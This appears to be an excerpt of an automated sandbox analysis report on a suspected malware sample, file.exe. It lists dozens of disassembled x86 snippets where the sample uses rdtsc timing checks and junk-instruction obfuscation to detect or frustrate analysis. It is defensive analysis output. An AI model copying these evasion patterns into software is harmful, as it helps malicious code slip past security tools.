Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7A9E second address: 9E7AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBCFC6B7942h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A63 second address: 9E9AE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FBCFCCB5998h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov ebx, dword ptr [ebp+122D3488h] 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov edi, dword ptr [ebp+122D2954h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FBCFCCB5998h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 mov eax, dword ptr [ebp+122D0259h] 0x0000005c movzx edi, cx 0x0000005f push FFFFFFFFh 0x00000061 mov ebx, ecx 0x00000063 nop 0x00000064 jmp 00007FBCFCCB599Ch 0x00000069 push eax 0x0000006a push esi 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAA00 second address: 9EAA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC954 second address: 9EC9C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jns 00007FBCFCCB5996h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f call 00007FBCFCCB59A6h 0x00000014 push ecx 0x00000015 jmp 00007FBCFCCB59A4h 0x0000001a pop edi 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007FBCFCCB5998h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 push 00000000h 0x0000003a or bl, FFFFFF8Ah 0x0000003d push eax 0x0000003e jnl 00007FBCFCCB59A9h 0x00000044 push eax 0x00000045 push edx 0x00000046 push edi 0x00000047 pop edi 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECB41 second address: 9ECB68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jns 00007FBCFC6B7936h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F17A8 second address: 9F17AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE938 second address: 9EE9FF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBCFC6B7936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FBCFC6B793Ch 0x00000010 popad 0x00000011 push eax 0x00000012 jp 00007FBCFC6B794Eh 0x00000018 jc 00007FBCFC6B7948h 0x0000001e jmp 00007FBCFC6B7942h 0x00000023 nop 0x00000024 mov ebx, dword ptr [ebp+122D3063h] 0x0000002a push dword ptr fs:[00000000h] 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007FBCFC6B7938h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b push edx 0x0000004c pop ebx 0x0000004d mov dword ptr fs:[00000000h], esp 0x00000054 push 00000000h 0x00000056 push ecx 0x00000057 call 00007FBCFC6B7938h 0x0000005c pop ecx 0x0000005d mov dword ptr [esp+04h], ecx 0x00000061 add dword ptr [esp+04h], 00000017h 0x00000069 inc ecx 0x0000006a push ecx 0x0000006b ret 0x0000006c pop ecx 0x0000006d ret 0x0000006e mov dword ptr [ebp+122D55A3h], edx 0x00000074 mov eax, dword ptr [ebp+122D1299h] 0x0000007a jmp 00007FBCFC6B7944h 0x0000007f push FFFFFFFFh 0x00000081 clc 0x00000082 mov dword ptr [ebp+122D22BCh], ebx 0x00000088 push eax 0x00000089 push ebx 0x0000008a push eax 0x0000008b push edx 0x0000008c jmp 00007FBCFC6B7940h 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D4E6 second address: 99D503 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCFCCB59A7h 0x00000008 jmp 00007FBCFCCB59A1h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1E7F second address: 9F1E96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1E96 second address: 9F1E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1E9C second address: 9F1EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3E6A second address: 9F3E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3E76 second address: 9F3EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FBCFC6B7936h 0x0000000a popad 0x0000000b pop edx 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FBCFC6B7938h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov di, FB00h 0x0000002d cmc 0x0000002e mov dword ptr [ebp+122D274Ch], eax 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FBCFC6B7938h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 xchg eax, esi 0x00000051 jmp 00007FBCFC6B793Fh 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4E4D second address: 9F4E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4FD1 second address: 9F4FD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4FD6 second address: 9F4FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FBCFCCB5998h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4FE8 second address: 9F5071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCFC6B7946h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov bh, cl 0x00000010 push dword ptr fs:[00000000h] 0x00000017 pushad 0x00000018 mov ecx, 0D48FEFFh 0x0000001d call 00007FBCFC6B793Dh 0x00000022 pop edi 0x00000023 popad 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov di, 9F78h 0x0000002f mov eax, dword ptr [ebp+122D1119h] 0x00000035 jo 00007FBCFC6B793Eh 0x0000003b push esi 0x0000003c xor dword ptr [ebp+1248235Ah], edx 0x00000042 pop ebx 0x00000043 push FFFFFFFFh 0x00000045 mov edi, ecx 0x00000047 nop 0x00000048 pushad 0x00000049 jmp 00007FBCFC6B7943h 0x0000004e js 00007FBCFC6B7938h 0x00000054 popad 0x00000055 push eax 0x00000056 jbe 00007FBCFC6B7940h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5E2A second address: 9F5E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FCC second address: A00FE1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBCFC6B793Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A008FE second address: A00902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00902 second address: A0090F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A083BF second address: A083EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b jc 00007FBCFCCB59A2h 0x00000011 js 00007FBCFCCB599Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A083EB second address: A08400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBCFC6B793Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08400 second address: A0840A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCFCCB599Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0840A second address: A08420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FBCFC6B793Ch 0x00000010 jl 00007FBCFC6B7936h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08420 second address: A08425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08425 second address: A0842B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0842B second address: A0843B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991D72 second address: 991D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B7949h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DA5C second address: A0DA62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DA62 second address: A0DA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jno 00007FBCFC6B7936h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DD7A second address: A0DD88 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCFCCB5996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DD88 second address: A0DD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DD8E second address: A0DD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DD92 second address: A0DD96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DF30 second address: A0DF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FBCFCCB59A6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E091 second address: A0E0B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBCFC6B7941h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0B5 second address: A0E0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0B9 second address: A0E104 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FBCFC6B794Fh 0x0000000f jnp 00007FBCFC6B7951h 0x00000015 jmp 00007FBCFC6B7945h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E289 second address: A0E28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E28F second address: A0E29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnl 00007FBCFC6B7936h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E3DB second address: A0E3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jbe 00007FBCFCCB5996h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E584 second address: A0E588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E6CD second address: A0E6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jp 00007FBCFCCB5998h 0x0000000f js 00007FBCFCCB599Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E6E6 second address: A0E6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FBCFC6B7936h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12C4E second address: A12C7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBCFCCB59A5h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FBCFCCB5996h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12C7A second address: A12C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12C7E second address: A12CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBCFCCB59A9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12E13 second address: A12E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12E17 second address: A12E27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007FBCFCCB5996h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12F60 second address: A12F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A130D0 second address: A130EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBCFCCB59A9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A130EE second address: A13119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B7949h 0x00000009 jmp 00007FBCFC6B793Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13278 second address: A13285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBCFCCB5996h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A134D1 second address: A134D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A134D9 second address: A134DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A134DF second address: A13510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jmp 00007FBCFC6B7949h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13C10 second address: A13C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13C14 second address: A13C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C292B second address: 9C2940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Bh 0x00000007 jg 00007FBCFCCB599Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12989 second address: A129A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FBCFC6B793Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FBCFC6B7936h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9937A9 second address: 9937C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FBCFCCB5996h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jc 00007FBCFCCB5996h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9937C7 second address: 9937D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9937D0 second address: 9937D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9937D4 second address: 9937D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18D6C second address: A18D95 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnp 00007FBCFCCB5996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jnp 00007FBCFCCB5996h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FBCFCCB59A1h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18F00 second address: A18F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A191C5 second address: A191CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A191CB second address: A191D5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCFC6B7942h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A188B4 second address: A188E7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBCFCCB59A2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBCFCCB59A1h 0x00000011 push edx 0x00000012 jnc 00007FBCFCCB5996h 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19715 second address: A1971B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1971B second address: A19745 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBCFCCB5996h 0x00000008 jmp 00007FBCFCCB59A7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jg 00007FBCFCCB5996h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19745 second address: A1974C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D6EB second address: A1D6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7AF3 second address: 9D7AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7AF7 second address: 9D7AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8A3D second address: 9D8A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8A41 second address: 9D8A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8E9F second address: 9D8EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8EA3 second address: 9D8EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8EA7 second address: 9C292B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBCFC6B7948h 0x0000000b popad 0x0000000c nop 0x0000000d call dword ptr [ebp+122D283Ah] 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007FBCFC6B7938h 0x0000001b jnp 00007FBCFC6B7938h 0x00000021 push edi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21EF2 second address: A21EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21EFC second address: A21F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
